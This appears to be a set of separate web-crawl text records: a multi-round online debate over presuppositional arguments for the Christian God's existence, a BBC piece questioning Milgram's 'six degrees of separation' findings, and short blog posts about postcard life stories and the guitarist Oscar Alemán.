text:
The One True God as Described in the Christian Bible Exists
|Voting Style:
|Point System:
|7 Point
|7 years ago
|Post Voting Period
|2,821 times
|Debate No:
The issue of God's existence is arguably the most important one in the world, and I therefore desire an intelligent, informative, and respectful debate on the subject. Unless you are able to facilitate such a discussion, do not accept this debate.
Another disclaimer: This will be a primarily philosophical debate, focused on conceptual arguments rather than statistical analyses. So while statistics and other factual claims do of course have their place, my opponent should know that the emphasis of this debate will be on more philosophical arguments. And so, again, if you not prepared to debate in this manner, do not accept this debate.
Finally, a few preconditions to facilitate healthy and informative debate:
And with that, I will present my affirmative case:
Nearly every argument I have heard for the nonexistence of God consists of some archaeological fact or another, immediately followed by a conclusion: "X, therefore God doesn't exist. I win. VOTE CON!" However, in this debate, I will prove the existence of God by proving that knowledge of any kind is impossible without first assuming God's existence, I therefore present the following contentions:
The study of science is based on the assumption that nature, to a certain extent is uniform. If experiments performed exactly the same way under the exact same conditions sometimes produced one result, and sometimes another, contradictory on, science would be pointless; it would be impossible to prove anything by it. And so for anything to be scientifically concluded, we must first assume the uniformity of nature. The Christian has a legitimate, coherent reason to make that assumption: It is laid out in the Bible.
From these verses, we can clearly see that God upholds the processes of the Earth by his power, and that he does so consistently, as he promised us in his Word, thus giving the Christian more than enough reason to believe in the uniformity of nature, based on a Biblical worldview.
However, the atheist is not in such a convenient position. As I have previously said, nearly all of the arguments against God's existence have relied on a scientific conclusion. And so I find it ironic that, in reality, the atheist has absolutely no basis for belief in the uniformity of nature, the foundation of science. Christians have the Supreme Being to tell them why they can expect nature to be uniform, but what does the atheist have? Nothing. There is literally no reason whatsoever for nature to be uniform absent God's existence. The only thing an atheist could say in his defense is "nature has obviously always been uniform in the past, and therefore there is adequate reason to believe it will be uniform in the future." This may seem reasonable, but upon closer examination, it becomes apparent that this argument commits the fallacy of begging the question. I will grant that there has been uniformity in the past, but how can we know that there will be uniformity in the future, unless we have already assumed that the future will reflect the past (i.e. uniformity). In other words, this argument ultimately boils down to: "Uniformity exists because uniformity exists." And so, in conclusion, the practice of Science has a valid foundation only in a Biblical worldview that assumes the existence of God. The atheistic worldview can provide no such foundation, and so scientific arguments that supposedly disprove the existence of God can actually only be valid if God does in fact exist.
Logic is absolutely essential in any argument. No conclusions or arguments could be made without it. This may seem absurd, but the fact is, even factual statements imply certain logical steps. For instance, even the seemingly basic fact of the law of gravity rests on the conditional syllogism:
If I am pulled back to the ground when I jump, gravity exists.
I am pulled back to the ground when I jump.
Therefore, gravity exists.
All coherent arguments and conclusions rest on the laws of Logic, and thus, any coherent worldview must be able to legitimately account for them. The Biblical worldview, which assumes God's existence, can do this. How? Again, the Bible gives us more than adequate reason to believe in Logic.
From these verses we can conclude that all truth consists in God, who cannot contradict himself. Logic is our representation of how God thinks, derived from our mandate to imitate Him, and since God is omnipresent and always consistent, Logic applies everywhere and does not change, thus giving the Christian an completely adequate reason to believe in the laws of Logic, based on a Biblical worldview.
However, as with the previous example, the atheistic worldview cannot possibly provide the kind of foundation for Logic offered by the Biblical worldview. For example, apart from the Bible, how could we know that contradictions are always false? We could only say that they have been false in our experience. But our experiences are very limited, and no one has experienced the future. So if I were to claim that this argument was simultaneously true and false, the atheist would have no basis for dismissing such an assertion. Only the Biblical worldview for the law on non-contradiction, or for that matter, any of the laws of Logic at all.
Since it is impossible to know anything without fact (primarily obtained by some type of scientific inquiry) or logic, I present the following valid conditional syllogism to prove beyond a shadow of a doubt that the Resolution is true:
If the God of the Bible did not exist, it would be impossible to know anything.
We can know something.
Therefore, the God of the Bible does exist.
In conclusion, the above syllogism uses the laws of logic (which, by the way, my opponent cannot possibly account for), to prove that the Resolution is true, to prove that The one true God as described in the Christian Bible MUST exist. The only possible way that my opponent might disprove this ultimate and unavoidable conclusion is to assert that Logic and Science are possible without God. These assertions have no basis in truth and I am more than prepared to combat them.
Finally, I wish my opponent good luck and look forward to a good, informative, and engaging debate.
I would like to thank RightWingConspiracyGuy for this opportunity. I'd been considering starting a debate on the presuppositional apologetic myself, and am enthusiastic about addressing the Francis Schaffer version of this case (per his post).
The Pro case consists of 2 contains. The first is on uniformity, the second on logic. I think it's obvious I need to establish the ability for Con siding with atheists, to reason at all, that is assert logic is fully possible, prior to arguing for a specific fact, the uniformity of nature. So I will address the 2nd contention in this post and address the first in the next round.
The flaw in the affirmative case is a bit subtle and it rests partially on the problem that the case makes arguments addressed within the field of logic but uses an imprecision of language which is common in everyday speech. The bulk of my first round rebuttal is simply going to consist of proposing definitions and making a few obvious points. It is my contention that Contention 2 rests on an equivocation and once the proper vocabulary exists the argument falls apart.
Let me start by definition the term "propositional calculus" (http://en.wikipedia.org...) as a formal system for manipulating symbols. The manipulated symbols can be interpreted as "propositions", hence the name. There are many different propositional calculi, and they can be constructed arbitrarily by simply creating rules. The first rule in our standard proposition calculus is: (If p then q; p; therefore q. Called Modus Ponens).
The particular the law in the standard propositional calculus my opponent wants is the law of non-contradiction (technically called "tertium non dater"): (for any statement p, it is never the case that both p and not-p are true).
We can also create non standard propositional calculus and in fact people, do this for situations when the standard rule logic doesn't work well. For example modal logics allow us to manipulate propositions that are not just true or false, but rather "necessarily true" or "possibly true". Another example is a "many valued logic" where we can manipulate propositions with values like: true, false, indeterminable. SQL (http://en.wikipedia.org...(SQL)), a computer language which sits under most major applications in use today uses this sort of propositional calculi. Another common example is fuzzy logics (http://www.fuzzy-logic.com...) which have notions like "very" (i.e. very cold) or "normal". This sorts of logical systems operate many of our safety regulatory devices like the antilock-braking on cars. Intuitionist logic is concerned with "justified" rather than true and thus deletes form the standard logic the rule that (not not x is equal to x for any statement x).
So at this point I want to make a series of assertions:
1) There are many propositional calculi, that is many logics not a single logic.
I should note that nowhere in these constructions has been any assumption of the existence of god(s) or absolutes. What is missing so far from this more formal definition is any way to determine if a propositional calculus is "true" in a meaningful sense. For example, I could construct a propositional calculus that has a rule like "all statements starting with the letter r are true", and in some deeper sense, the way Pro meant it, this logic will be false. But at least at this point I've proven atheists have equal access to using logic. So let's turn to the truth of logics thus constructed.
So the proposal for verifying the truth of a propositional calculi is very simple.
a) Take true statements
And this (a)-(c) process is exactly what we do when we built propositional calculi. There is nothing in theism or atheism that prevents this process from undergoing its natural course.
Now Pro might still retort "Well how do you know you aren't wrong? Sure your logic is working fine across millions of propositions for many billions of people living in thousands of cultures over many thousands of years. But how do you know they didn't miss something?" And the answer is, "they might very well have. But given that tremendous level of empirical verification they would have had to have missed something that is incredibly subtle and infrequent. That is something that is not damaging to thought in any meaningful way what-so-ever." There may very well be a propositional calculi with tens of millions of rules that is a better one than the standard. Lets assume there were a Perfect-logic. We first note, Perflect-logic would have to agree with standard-logic for almost everything. That is standard logic would have be an excellent approximation for practical use. Were not the case, the flaws in standard-logic would have been discovered.
More importantly, Perfect-logic by the very fact that it has these tens of millions of rules is impractical. Just considering arbitrary pairs of rules involves something on the order of a quadrillion calculations, the number of rules squared. This is more thoughts than I or anyone else would be able to complete in an entire life. So such a logic is simply beyond my and everyone else's mental capacity. That is even if I knew for sure about the existence and correctness of Perfect-logic it would be mostly of some sort of theoretical interest. I would still use standard logic for my reasoning, by virtue of the fact that "correct" / "true" logics are those that correspond in a very meaningful way to human thought.
And that is the key point, a logic is nothing more than how humans describe collective describe the nature of an empirical reality they are confronted with. The logic is true because it works and it feels right. One can assign probabilities to the possibility that a "false" logic would get through the trillions of empirical verifications that ours has, and the probability is so vanishing small as to be meaningless concern.
First of all, I would like to thank CD-Host for accepting this debate, which I have also wanted to have for some time now. I look forward to it being a good one. And with that, I will go over my affirmative case and then move on to refute my opponent's negative case.
My opponent has completely dropped this contention and thus conceded it. I am of course aware that he said he would address it in the next round, but the very first prestandard of today's debate is "Drops count as concessions." It was not "Drops count as concessions…unless you say you'll address the argument sometime maybe later." I understand that it is hard to fit everything into 8,000 characters, but sometimes you just have to cut things out to make it fit. I was originally going to have 3 contentions but had to cut the third one out because of the character limit. My opponent should have done the same instead of dropping half my case. My opponent has indeed conceded this argument, and it should be known, that, unless my opponent is willing to contend that science is irrelevant, this alone is enough for me to win the round. To prove this point, I offer the following syllogism:
If God does not exist, Science cannot exist.
Science does exist.
Therefore God does exist.
I could leave the debate at that and still legitimately expect to win, as my opponent has literally handed me victory on a silver platter by conceding one of my most important arguments. However, since I believe my opponent is due more respect than that, I will go on to address his case. But first, a quick note on Contention 2. Although my opponent has contested the fact that the atheistic worldview can provide no legitimate basis for the laws of logic, he has conceded that the Biblical worldview can provide such a basis. And so the only possible means of argumentation for my opponent is to win that the atheistic worldview can provide a basis for logic. Otherwise, he will have lost or conceded literally every argument in the round.
As far as I can tell, the theme of his argument here is that since humans can arbitrarily construct valid systems of logic without belief in or reference to any deity, logic is not dependent on God. However, my opponent misses the point. My opponent has demonstrated that logic does work, but not why logic works. I never claimed that you had to be a Christian to practice logic, only that you cannot explain why logic exists or why it works if you deny the existence of God. To demonstrate this point, imagine to people engaged in a heated debate over the existence of air. The negative side would by no means need to believe in air as he issued passionate arguments for its nonexistence. However, in order to be making those arguments, air has to exist despite his beliefs. In conclusion, just as God's existence is entirely independent of anyone's belief in Him, the dependence of Logic on God is entirely independent of the beliefs of those who practice or codify it. In short, Logic doesn't care whether or not you believe in God.
And now, since it didn't take very long to refute my opponent's arguments, I now offer the third constructive contention I was earlier forced to omit due to character restraints.
To a certain extent, we all know whether or not something is wrong. For instance, tell even a small child that someone has been murdered and he'll tell you it was wrong. However, we must look past these mere impulses and ask: Why is it wrong? What makes it wrong? Obviously, under the Biblical worldview, the answer is clear; moral laws are presented time after time in the Bible.
I could go on for much longer, as the Bible is simply stuffed full of moral commands, but for our purposes, the Ten Commandments will suffice. From these verses it is clear that the Christian obviously has a legitimate basis for morality.
However, the atheistic worldview can provide no such basis. In fact, it sometimes would encourage blatantly immoral actions. If you deny that God exists, He could not possibly have created you, which leaves only one(as far as I know) explanation for our existence: evolution. If you assume this theory of origins, there absolutely no basis for objective morality, or, for that matter, any morality of any kind whatsoever. Assuming evolution is true, the only meaningful goal in life is to further your existence. Under this framework, there is absolutely nothing wrong with murdering a man who is trying to get you fired. In fact, to do so would be admirable and to refrain from doing so would be utterly foolish. After all, killing him is the only way to keep your job, and doing so would certainly further your success in life, which, assuming the atheistic worldview, is the sole purpose of life.
In summary, my opponent has conceded my entire first contention, and utterly failed to refute my second one, as well as completely neglecting to offer a constructive case of any kind. Faced with these facts, the logical conclusion could not be clearer: The One True God as described in the Christian Bible does in fact exist. There is no other rational alternative.
The core idea of the presuppositional apologetic is to argue that a non-believer, an atheist is philosophically unjustified in asserting positions that they in fact hold. The case against logic in the Round-1A is a good example. I do want to be able to be use logic and do want to be justified in using it. Hence the argument that atheist presuppositions make that impossible, make sense and need to be addressed. The argument is incorrect, because as round-1 shows atheist presuppositions do allow for the construction for a logic but it is not self contradictory in the way the uniformity and the version of the morality argument presented are.
In the case of uniformity that is philosophical uniformitarianism (http://en.wikipedia.org...) is a theory of geology from the 1780s that spread to the rest of the sciences and started to run into problems by the 1830s. By the 1890s more sophisticated versions of the philosophy of science were commonly held and with the rise of expansionary universe (Hubble) and Quantum Mechanics no one holds this theory today. And this is a definite problem for the argument as stated, "If experiments performed exactly the same way under the exact same conditions sometimes produced one result, and sometimes another, contradictory on, science would be pointless; it would be impossible to prove anything by it." Because the reality is there are many such experiments that can be conducted that produce variable results like this and that doesn't make science pointless at all. Science is empirical verification of complex hypothesis. Once needed in the case of a variable outcome is merely a hypothesis that is itself variable. The double slit experiment (http://en.wikipedia.org...) is likely the classic example of just such a result. Since this was supposed to be a philosophical debate I'm not going to take advantage of the scientific error, in round 1 and rather give my opponent the opportunity in round 3 to either revise his claim to support a modern theory or prepare to defend uniformitarianism against a century and a half of counter evidence. So lets dispense with the drop claim, atheism makes no current day claim to uniformitarianism at all, though we do claim historical ancestry uniformitarianism led to spiritual materialism which led to naturalistic materialism which is the metaphysics of atheism.
Essentially the ideas of uniformitarianism are that:
a) the same natural laws and processes that operate in the universe now, have always operated in the universe
Uniformitarianism was a vital step in terms of scientific examination of the past. But those 2 major simplifying assumptions are both rejected by modern theories including the original home of uniformitarianism, geology. Today's geology does not picture a static earth gradually changing, there are enumerable processes occurring from the past, like frequently gaining mass from collision that simply aren't occurring on today's earth. Slightly revised versions of those ideas are still quite common in modern science however, so if Pro via this "dropped" claim would like to tie himself to a discredited by the 1830s scientific theory be my guest, but I'm going to proceed the more serious issues in his theory which is actually much more problematic.
Uniformitarianism was more than anything else a rejection of catastrophism the idea that world was formed by sudden violent events. The bible unquestionably teaches formation by sudden violent events. It opens with a creation, moves on to a flood which reshapes the earth, has frequent divine interventions and then ends with total destruction. A good example is fossils, as a result of flood myth fossils were attributed to the flood, a theory from catastrophism not uniformitarianism. The bible far from teaching uniformity teaches the precise opposite and this is acknowledged even today by creationists (http://www.nwcreation.net...). That was until da Vinci studies in the alps began to throw doubt on this that while the alps had been under water it was not a sudden flood but a more gradual process, the idea that fish fossils "proved" the flood was taken as a given.
On cosmology the issue of biblical incompatibility was much more serious. Take the creation story:
Gen 1:2, theum, deep salty water, pre-exists creation, this likely is in your english language bible as "the deep". God then passes over the fresh drinkable water on the surface (mim). Gen 1:3 God becomes light, sees the light says light is good. good and separates it from the darkness. Then Gen 1:4 he separates light from darkness. Gen 1:5 he names stuff, and Gen 1:6-10 he puts a barrier (raqia translated as firmament in the KJV) splitting the preexistent waters. He gathers the lower waters together. So now you have an upper layer of drinkable water, an atmosphere, a rock layer with a sea on it and then a layer of deep water below the rock (the ocean). Then Gen 1:11-13 life starts. Gen 1:14-18 God then attaches the sun, moon and stars to the firmament (atmosphere) below the upper waters (rain water) so the earth can have light.
This is the imagery that makes something like Rev 6:12-14 with stars falling to earth possible. In our modern cosmology, and the cosmology that existed at the time of uniformitarianism, the visible stars are those that are huge, and anyone of the visible stars would sterilize the earth instantly if it got the boundary of the solar system. The remnants of this view were still plainly available in the late 18th and early 19th century. The whole infallibility / inerrancy movement couldn't exist in this environment, the hermeneutic that made it possible wasn't yet invented. My argument is quite simply that the bible is totally incompatible with either uniformitarianism or modern natural materialism.
Quite simply if the bible plainly teaches uniformity as per the claim, why is that the Christian culture of the Late middle ages had:
As an aside, there were Christians who were able to make the bible compatible with 19th century uniformitarianism, but these required deep theological changes. Mormon materialism, best exemplified by Orson Pratt's Absurdities of Immaterialism (http://tinyurl.com...) from this period still has substantial influence on the LDS theory today. There are similar ideas in the Christian Spiritualism movement of the next generation: 1848-1873. We can go down that road, but I see no support in a Reformed tradition for a tie between Christianity and uniformitarianism so I'd want my opponent to assert this non-Reformed Christian direction before going down a theological tangent from traditions he is likely to deny.
1) In round 1 it was proven that logic is intrinsic and constructive. It doesn't require ultimate justification since a logic is a formal description of human mental processes. This undercuts the lynchpin of the Presuppositional apologetic.
Not only has my opponent dropped this contention in the previous round, but in this round, he has not even addressed the fact that he did so. He merely dismisses it by saying, "so let's dispense with the drop claim." No, I will not dispense with it, and neither should the audience. The face that my opponent completely ignored half my case in the first round is of the utmost significance, and it is enough for me to win this debate. However, even though my opponent makes no effort to refute the drop claim, he does make various other arguments only tenuously related to the matter at hand. I will deal with those, as well as the arguments on the subject of Logic, in the negative case section.
It turns out that my opponent has not ignored half my case. He has ignored two-thirds of it. In the last round, I argued that morality has no foundation in any worldview outside the Christian one. This contention was supported by several Bible citations as well as a coherent analysis of why the atheist cannot justify morality's existence. This is an extremely important argument, because it means that the only way that my opponent can possibly win this argument is to concede that morality does not exist, which is clearly absurd. However, where does my opponent address it? He doesn't. In fact he barely even acknowledges its existence. If you just read my opponent's last argument by itself you might have no idea that I had a third contention. But I do have a third contention. And my opponent has ignored it like my first one. Given these facts, the conclusion is apparent and unavoidable: The resolution must be affirmed.
Also, I would like to point out that not only has my opponent failed to address the vast majority of my case, but he has also provided no constructive case of his own. It is simply unacceptable for him to sit back and criticize my arguments (that is, the ones he bothers to address), all while completely ignoring his obligation to offer a constructive case.
My opponent spends the vast majority of his argument in this round talking about uniformitarianism. He talks on and on about the origins of uniformitarianism, about why it was formulated, when it was formulated. But in all his lecturing, he entirely misses the point. Let me make it clear that I am not arguing for uniformitarianism. I am arguing for uniformity. There is a difference. In fact, there is a vast difference. As my opponent spend such an extent of his time pontificating on the subject, I will not bother to define uniformitarianism again. My opponent has sufficiently accomplished that. However, uniformity is most emphatically not uniformitarianism. Uniformity is simply the basic idea that if gravity applies in Virginia, it will apply in the same manner in Colorado as well. This is one of Science's foundational tenets; as I have argued before, Science would be useless without it. Galileo's famous experiment in which he dropped the two balls of different weights from the top of the tower proves nothing unless you assume that gravity was effecting both balls in the same manner. And so it becomes clear that all my opponent's preaching on the detriments of uniformitarianism is a complete non sequitir; totally unrelated to the matter at hand. I concur with my opponent in that uniformitarianism is indeed an invalid theory, although this is ironic, because it is the foundation of all the arguments that supposedly prove the Earth is millions of year old, which I would assume my opponent accepts. However, uniformity remains completely valid. And it impossibility in the atheistic worldview remains completely unaddressed by my opponent, along with so many of my other arguments.
My opponent goes on to claim that uniformity is impossible with the Biblical worldview. Since he does absolutely nothing to address the arguments I have already made proving the exact opposite, I will focus on refuting his own arguments, which he summarizes as follows:
"Quite simply if the bible plainly teaches uniformity as per the claim, why is that the Christian culture of the Late middle ages had:
Even assuming that all these claims are true, which he has not proven, there is one simple answer to them all: THIS IS NOT THE MIDDLE AGES. Simply because some Christians believed some things in the Middle Ages does not mean those things are accepted by modern Christians. Nor does it mean those things are suggested by a valid Biblical worldview, which they are not. In short, my opponent has committed the straw man fallacy. He has constructed a bunch of arguments that I have not made and that are not supported by the Bible properly understood, and attacked those instead of addressing the real arguments at issue, which I have already made in my constructive case. A caveat: The fourth point my opponent makes, that God causes and holds together everything, is in fact true and supported by the Bible. However, it does not prove that the Biblical worldview has no foundation for uniformity, as my opponent claims.
In conclusion, the three things that my opponent claims to have been shown so far have either not been shown or shown to be true but irrelevant. I have shown that my opponent has simply disregarded the vast majority of my case, as well as refuting every single one of his arguments, leaving the only available conclusion: The One True God as described in the Christian Bible Exists.
I thank my opponent and look forward to his reply.
This is an odd debate where my opponent fails to address any of the points I raise and then argues I'm dropping.
1) This is not a definition, it is an example.
The originator of this uniformity argument he is using Cornelius Van Til. Van Til was using the term "uniformity" in the sense of Scholasticism (http://en.wikipedia.org...). Aquinas' 5 arguments (http://en.wikipedia.org...) for God depend crucially on a sort of scholastic uniformity that comes from Aristotle. So a statement like, "Invenimus enim in istis sensibilibus esse ordinem causarum efficientium" (In the world of sense we find there is an order of efficient causes), are justified based on Aristotle's metaphysics. These Aristotelian metaphysics are treated as givens in traditional in theist vs. atheist debates. What Van Til is saying is that I as an atheist have no justification for assuming that sort of uniformity. Van Til is right. My opponent isn't right though, because he's getting confused between modern physics and traditional / Aristotelian metaphysics leading to internal contradictions.
Once we fix Pro's argument so he is not contradicting himself the question becomes how to respond to Van Til? And the response is the constructive case I've been making. Round 1 was a construction of logic. A construction of uniformity (in the sense of Aristotle) can be attached directly: Logics were defined empirically.
a) There exists a natural phenomena.
And for anything once you have the logic:
The system is very simple. A logic in constructed for a very wide class of problems. The statement bolded in round-1b, "Propositional logics that are valuable are valuable because they are formal representations of truths that were intuitively obvious and they are intuitively obvious because they correspond so directly to observable reality." Then through the use of models the logic is extended to a much larger domain of problems with results derived from long chains of reasoning within the logical/emperical structure. Thus allowing the model to address the not intuitive obvious . And this answering the objection about "why logic works" from round 2a, this logic works because it was constructed / chosen from all possible models to be one that did fit the observational evidence, and thus answers Van Til's charge.
From there science proceeds:
(sci-d) and (sci-fi) are science, that is the core of the scientific method. I don't need to presuppose uniformity, I can construct a hypothesis of uniformity and then empirically verify and that's how I avoid Van Til's explicit question about uniformity.
Now obviously the 18th century uniformitarianism was going back to Aristotle's uniformity as a presupposition, that was their justification, hence the name. But if uniformitarianism were empirically verifiable, the method I've outlined above would in fact prove it without the need for the reference to Aristotle. So Van Til absolutely points out a correct and serious flaw in 18th century atheist arguments, but not a flaw in the argument / construction I've been making.
And similarly I could construct a morality on top of the constructive logic:
My opponents key argument is his sylogism:
(1) is now disproven. We have constructed a science without assumption that has the laws of science and no need for a God.
The negative case for science rests on the contradictions between the bible and the very laws of science my opponent holds the bible supports. In round 2 the question was raised that if the bible taught something clearly, perspicuously then why wouldn't people who believed and read the bible believe it? My opponent failed to address this issue, the middle ages being one of countless examples but a key one since any claim that science depends on uniformity ties into scholasticism.
The 3 bible quotes: Hebrews 1:3, Numbers 23:19, Genesis 8:22 have nothing to do with uniformity either in the modern sense or the early 19th century earth science sense of uniformitarianism as exemplified by the fact that no major commentary mentions this application. The 5 bible quotes given for logic also had nothing to do with logic either. I'd just ask for a source here, a well known and respected commentary that ties this read of those verses into something like uniformitarianism or experimental empiricism.
To summarize what has been shown so far:
1) In round 1 it was proven that logic is intrinsic and constructive. It doesn't require ultimate justification since a logic is a formal description of human mental processes. This undercuts the lynchpin of the Presuppositional apologetic.
My opponents method of proof has been by assertion.
His argument has been that I failed to address the majority of his case, far from that I cut the heart of his case out in round 1 and then cleaned up the details in the next 2 rounds. Were I to apply the "drops are concessions" rules the debate would be over. For whatever reason my opponent in Round 1 did not consider the construction of logic worth addressing, I will grant him a pass on that now that he sees how the negative is going to lay out. I thank my opponent for round 3 and look forward to rounds 4 and 5.
Van Til's Metaphysics of Apologetics (1931) forms the basis for the presuppositional method an explicit discussion on the question of uniformity. The most well discussion is the 1955 The Defense of the Faith. There are many good responses from the traditional apologetics camp the best received one is http://tinyurl.com... about ½ or which is available at that link. http://members.tripod.com... and http://members.tripod.com... are online critiques that address the metaphysical issues from a Reformed Christian perspective. A final good discussion is by a modern presuppositionalist John Frame, http://www.reformed.org....
I'm sorry my response has to be so short, but I only have 11 minutes to post this argumentt due to circumstances beyond my control.
Although my opponent has indeed made a constructive case for an atheistic view of logic, it has been soundly refuted and my oppoennt has not answered that refutation. As for the other 2/3 of my case, not only has he no constructive case concerning it, but he has entirely ignored it to boot. In summary, he has not accounted for logic becasue he can only explain that you can construct logic under an atheistic worldview, but not why or how it works, absent God. He has not accounted for science or morality because he has not even bothered to actually address them. Instead, he equivocated between "uniformity" and "uniformitarianism", scientifically distinct terms, and simply dismissed my morality charge without a legitimate argument.
To summarize what has been shown so far:
1) In round 1 it was proven that logic is intrinsic and constructive. It doesn't require ultimate justification since a logic is a formal description of human mental processes. This undercuts the lynchpin of the Presuppositional apologetic.
2) The specific additional problems with uniformity were discussed in round 2.
3) The inapplicability of the bible and problems with the verses were discussed in round 2.
4) The logic model constructed in round 1 is extended to a philosophy of science in round 3.
5) I addressed the argument my opponent "meant" to make about the inability of atheists to justify any philosophy of science and showed how the construction from (4) refuted it (again round 3)
6) The science model was extended generically, and morality was an example of the generic extension (round 3)
FACT: 1) this was absolutely not proven. He merely asserts this. As I huave said before, he has only proven that he can construct a logic, not why or how that logic works without God.
2)Again, my opponent equivocates between uniformity, a foundational supposition of science, and uniformitariansim. He has not directly addressed the argument that the atheistic worldview cannot account for uniformity.
3)this was merely asserted, not proven.
4)his argument concernuign logic is not invalid, and thus makes this argument invalid
My opponent after posting added 2 additional points in the comments, section, comment 16. I grant their inclusion in his round 4 response.
However even including those, there is virtually nothing left of my opponent's case to argue against. From round 2 on, he's simply not addressed the points raised in this debate. At the end of round 3 the case demolished. One of the few remaining points was the bible verses. After asking for 3 rounds for some evidence tying those bible verses to their supposed purpose my opponent has refused to provide any evidence. Since new arguments are banned in the 5th round I'm going to provide negative evidence on the bible verses. This is essentially a weaker negative case than the primary case I ran in rounds 1-3, but those arguments haven't refuted or even addressed.
Hebrews 1:3 -- Is a simple comment that Jesus sustains the universe. It makes no claims about what sort of universe is sustained.
Numbers 23:19 -- Says that God doesn't lie, but doesn't say anything about what's he's said. To make of this verse you would need a divine claim of uniformity, while as argued in round 2 we actually have frequent divine claims of catastrophism.
Genesis 8:22 -- Comes during a catastrophism story (the flood). Further it contradicts science not supports it. We know that "seedtime and harvest" will cease while the earth remains as the sun heats up from consuming its hydrogen.
The logic verses there is still an unaddressed argument from round 1as to which if any logics are supported? Does this biblical normative logic include axiom of choice (http://en.wikipedia.org...) or its opposite? Does it include the continuum hypothesis (http://en.wikipedia.org...) or its opposite? These sorts of question immediately make it clear how inferior this biblical logic is to the modern scientific one. The biblical logic represents a sort of naive approach to non contradiction and deduction not thousands of years of deep consideration,
The verses used to support this logic theme also are problematic.
Eph 5:1 -- Asks us to imitate God doesn't say imitate in what.
In round 4 there are some 1 line "it too / is not" type arguments. For example the idea that we haven't presented a case justifying how or why the logics derived empirically work. First off, note there is no proof of a "how" for the positive case at all. However, the atheist case does have this in round 1 but it is brief, the discussion of formal symbol manipulation. I'll expand here.
The first complete theory of computation for a logic was in Principia Mathematica (http://tinyurl.com...). Computational theory for a normative logic is exactly what was described in part 1, the logical statements are evaluated as pure symbol pushing. The true/false assignment, the environment of execution, is assigned based on previously proven results and empirical observation. I'm not going to reproduce a 3 volume set on every detail of how to bootstrap a logic, but an example may suffice.
one wants to evaluate the truth of the statement "all of CD-Host's dogs are brown".
The idea that the bible has any particular insight or material on computation is of course false. The lead author of Principia was Bertrand Russell an atheist and promoter of atheism. The 2nd author was Alfred North Whitehead, an agnostic, and the book's central idea of ow to consider a logic was based on earlier work from GH Hardy, an atheist.
As for why it works, that one is easy by construction. The logic chosen was the one what produced empirically verifiable results. If any logic is going to work its going to have to be one of those logics. The logic that there are logics that work comes from experience using logic successfully. It was constructed to work.
I fail to see how random biblical quotes come close to the counter position.
As for uniformity. I think I addressed this in part3. It is not me who is equivocating, nor has any evidence been given that uniformity as defined is a foundation for science. Nor have the counter examples like double slit been addressed. As for the argument for uniformity, in so far as it holds comes from empirically verification.
As for the objective morality objection my opponent hasn't presented any advantages of biblical morality over a utilitarian morality. By definition a utilitarian morality is more useful to the society. If he suspects his morality is better he:
a) Needs to show it
If something other than utility is going to be the standard that needs to be argued.
RightWingConspiracyGuy forfeited this round.
My opponent to some extent was forfeiting from the beginning. He really didn't address the key points starting in round 2. I think this is pretty clear so far there are 15 completely unaddressed points:
1a) Reason for deviations from Van Til
On the uniformity / uniformitarianism issue my opponent has been terribly confusing and has consistently contradicted himself so this was difficult to argue.
Assuming he means uniformitarianism:
Assuming he means uniformity per Aristotle:
a) paragraph 2 of round 1 did in fact address the drop claim.
5) This is merely a restatement of his previous argument as it concerns science, and has already been refuted.
6) This groundless assertion is merely a smokescreen to hide the fact that my opponent has absolutely no legitimate basis for morality. If he has, he has not articulated it.
My opponent's only argument for the atheistic basis for morality is to describe it as "actions desirable by individuals in a society." (i.e. whatever works for you is fine. Anything goes.) this not only concedes that, according to the atheistic worldview, there can be no OBJECTIVE morality, only subjective morality, but it also begs the question, why are these actions desirable? What makes them desirable? Who decides what is desirable? The atheistic worldview cannot answer these questions. The Christian one can.
: sci-fi) A model for complex predictions (i.e. non naive observations) can be constructed in the language of the logic.
: sci-fi) That model can be empirically verified.
: (sci-d) and (sci-fi) are science
Should read
sci-d) A model for complex predictions (i.e. non naive observations) can be constructed in the language of the logic.
sci-e) That model can be empirically verified.
(sci-d) and (sci-e) are science
I assume some sort of auto correction on my side kicked in. Sorry for the confusion.
I keep changing my mind with who is winning with each round. after Con made the thorough case against unifomitarinism and catastropheism I was sure Rightwingconspiracyguy would not be able reasert that first contention with any success but he did by making the distinction between uniformity and uniformitarinism.
cant wait to see cons response, I'm sure I will change my mind again.
<b> People who are not religious are not "zealous" about it. They just reject religion and don't care about it. Why would they be zealous about something they don't believe in or care about? </b>
I wouldn't reject the characterization of myself as a zealous atheist. If you consider the Pew categories for non religious: don't know, none, don't care, agnostic, atheist. I think its pretty clear atheist is the most "zealous" of the non-religious group while "don't know" is likely the least.
In my particular case I'm pretty knowledgeable about religion not indifferent. I consider atheism to be a worldview and belief systems as well as cultural aspects; that is in some sense a religion. I think one can make the case for people who answer the question "none" or "agnostic" but atheists do make positive statements of belief.
|Agreed with before the debate:
|0 points
|Agreed with after the debate:
|0 points
|Who had better conduct:
|1 point
|Had better spelling and grammar:
|1 point
|Made more convincing arguments:
|3 points
|Used the most reliable sources:
|2 points
|Total points awarded:


text:
Judith Kleinfeld, a professor psychology at Alaska Fairbanks University, went back to Milgram's original research notes and found something surprising.BBC NEWS | Programmes | More Or Less | Connecting with people in six steps
It turned out, she told us, that 95% of the letters sent out had failed to reach the target.
Not only did they fail to get there in six steps, they failed to get there at all.
Milgram was a giant figure in his world of research, but here was evidence that the claim he was famously associated with was not supported by his experiments.
Six degrees of separation' may be the academic equivalent of an urban myth
Judith Kleinfeld, Psychologist
"I was shocked. I was horrified," she said.
And when she looked for other studies, none of those matched up to the claim either.
In the most recent, two years ago, only 3% of letters reached their target.
"If 95 or 97 letters out of 100 never reached their target, would you say it was proof of six degrees of separation? So why do we want to believe this?"
"The pleasing idea that we live in a 'small world' where people are connected by 'six degrees of separation' may be the academic equivalent of an urban myth," she says.
True or false? There are only six degrees of separation between any two people
No comments:
Subscribe to: Post Comments (Atom)

subset: commoncrawl


text:
Friday, June 13, 2008
Michael Kimball Writes Your Life Story (on a postcart)
This is so great. Adam Robinson posted about this on the Publishing Genius blog. As you can see, Michael Kimball will write your life story on a postcard. Here's the blog and more info.
Posted by Josh Maday at 5:39 PM
No comments:
Subscribe to: Post Comments (Atom)


text:
Limehouse Blues - Alemán's 1938 Solo Transcribed
|Original sheet (Wikipedia)
This weblog will give you information about the "El Redescubrimiento de Oscar Aleman" project, the "Rediscovering of Oscar Aleman" project. Oscar Aleman ( 1909 - 1980 )was an Argentinean jazz guitar player, entertainer and showman, born in Argentina, lived in Europe (1930s)and returned to Argentina ( 1940 - 1980 ). He was one of the best jazz guitar players of his time.
|Original sheet (Wikipedia)
|Original sheet music front
|Fats Waller at the keyboard
|Odeon 46013 A (1946)
